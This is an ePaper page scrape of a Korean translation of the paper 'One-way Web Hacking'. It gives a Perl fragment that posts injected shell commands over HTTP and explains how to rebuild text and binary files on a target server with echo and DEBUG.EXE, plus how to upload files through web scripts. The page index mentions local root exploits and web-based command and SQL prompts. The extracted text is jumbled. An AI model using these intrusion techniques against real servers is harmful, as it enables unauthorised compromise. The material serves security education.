One-way Web Hacking

More documents

Recommendations

Info

} S->autoflush(1); print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { } print S $i; print S "\r\n"; 같은 방식으로 어떤 임의의 텍스트 파일은 "echo"와 같은 명령을 사용하여 목표 서버에 다시 만들어질 수 있다. &, ", , |, % 등과 같은 쉘 meta-character들은 적절한 escape 문자들을 사용해 적절하게 escape되어야 한다. 대부분의 유닉스 쉘에서 escape 문자는 "₩"이고, Windows command shell에서 escape 문자는 "^"이다. 다른 웹 기반의 command prompt들은 같은 방식으로 목표 웹 서버에 다시 만들어질 수 있다. 4.1.2 임의의 바이너리 파일 다시 만들기 유닉스의 Bourne shell의 경우 "₩xHH"와 같은 포맷을 이용하여 어떤 파일에 임의의 문자들을 쓰기 위해 "echo" 명령을 사용하는 것이 가능하다. 여기서 HH란 두 개의 digit hexadecimal 값을 의미한다. 바이너리 파일은 다음과 같은 두 개의 digit hexadecimal 수의 한 문자열에 의해 제시될 수 있다: echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file CMD.EXE가 임의의 문자들을 쓸 수 없을지라도 Windows 상에 임의의 바이너리 파일을 다시 만드는 것이 역시 가능하다. 트릭은 임의의 바이너리 파일을 만들기 위해 스크립트화되어 있거나 또는 non-interactive mode에서 DEBUG.EXE를 사용하는데 있다.
5.0 File uploader 목표 웹 서버에 명령을 실행할 수 있는 것에 덧붙여 공격자는 역시 웹 서버에 파일을 전송하는 것에 관심을 가질 수 있다. FTP, NFS, NetBIOS 등과 같은 일반적인 테크닉을 사용해 파일을 전송하는 것은 방화벽이 이 모든 것을 막고 있기 때문에 가능하지 않다. 이 장애를 극복하기 위해 우리는 file uploader를 만들 필요가 있다. 4.1.2 섹션에서 언급된 테크닉은 큰 파일에 대해서는 전송 속도가 아주 느릴 수 있다. 하지만 더 좋은 옵션이 있다. HTTP POST Multipart-MIME 방법 3 을 이용하여 파일을 업로드하는 것이 가능하다. 파일의 내용은 HTTP POST 리퀘스트 방식으로 서버에 보내진다. 서버에서는 업로드 스크립트가 이 내용들을 받아들이고 그것들을 한 파일로 저장한다. HTTP Multipart-MIME POST 리퀘스트에 대한 자세한 논의는 이 문서의 논의 밖이다. 파일 업로드를 수행하기 위해 우리는 웹 서버 프로세스(nobody, IUSR_machinename, IWAM_machinename 등)가 파일을 만들고 쓸 수 있는 권한을 가진 디렉토리가 필요하다. 아래는 파일 업로드 스크립트의 세 가지 예이다. 5.0.1 ASP - upload.asp 및 upload.inc 다음 두 파일은 HTTP POST Multipart-MIME 데이터를 받아 파일에 저장하는 코드를 포함하고 있다. ASP는 Multipart- MIME로 인코딩된 데이터를 디코딩하는 내장된 루틴들을 포함하지 않고 있기 때문에 적절한 루틴을 포함하고 있는 upload.inc라는 보충 파일이 필요하다. upload.asp
Page 1 and 2: One-way Web Hacking "Necessity is t
Page 3 and 4: 6.1.1 Windows 공격 툴 업로드
Page 5 and 6: web application server는 스크립
Page 7 and 8: 3.0 entry point 찾기 one-way hack
Page 9 and 10: usr/local/apache/cgi-bin/sh.cgi| sh
Page 11 and 12: 12/07/00 12:50p weblogic 12/07/00
Page 13 and 14: drwxrwxr-x 2 root root 4096 Feb 2 2
Page 15 and 16: } print "By Saumil Shah (c) net-squ
Page 17 and 18: ## uncomment the while loop below #
Page 19 and 20: # Able to send arbitrary commands t
Page 21 and 22: @commands = ("\n", "\necho 'Content
Page 23 and 24: } print S 'POST '. $file. " HTTP/1.
Page 25 and 26: C:\Inetpub\scripts>exit $ post_sh.p
Page 27 and 28: 웹 기반의 command prompt와 같
Page 29 and 30: {$errflag="Short Read: wanted $len,
Page 31 and 32: } die $@ if $errflag; if ($name) {
Page 33 and 34: 1; } } @dummy = split(/\//, $fn); $
Page 35 and 36: } sub MyBaseUrl { } local ($ret, $p
Page 37 and 38: } sub PrintEnv { } &PrintVariables(
Page 39 and 40: ASP 기반의 command prompt 스크
Page 41 and 42: %> } } } catch(IOException e) { }
Page 43 and 44: 위의 명령들은 목표 웹 서
Page 45 and 46: else { } $file = '/'; if(defined($A
Page 47: sub httpconnect { } my ($server, $p
Page 51 and 52: Else Else Else Binary = Empty Err.R
Page 53 and 54: sFrom = LCase(From) PosB = InStr(sF
Page 55 and 56: Function vbsSaveAs(FileName, ByteAr
Page 57 and 58: #!/usr/bin/perl require "cgi-lib.pl
Page 59 and 60: 권한 상승 exploit이 비상호
Page 61 and 62: 6.1.2 idq.dll - 권한 상승 다
Page 63 and 64: * Linux kernel ptrace/kmod local ro
Page 65 and 66: unsigned long * src; } int i, len;
Page 67 and 68: if (err == -1) } fatal("[-] Unable
Page 69 and 70: eturn 0; } 아래의 스크린샷
Page 71 and 72: 7.0 웹 기반의 SQL Command Promp
Page 73 and 74: --> database. Present version works
Page 75 and 76: Response.write("") Response.write("
Page 77 and 78: Response.write("") Response.write("
Page 79 and 80: Response.Write "" For F = 0 to Numb
Page 81 and 82: Query String:
Page 83 and 84: 7.4 웹 어플리케이션 도용
Page 85 and 86: 7.6 저장된 프로시저 실행
Page 87: SSL은 어플리케이션을 보호

One-way Web Hacking

Create successful ePaper yourself

Delete template?

Save as template?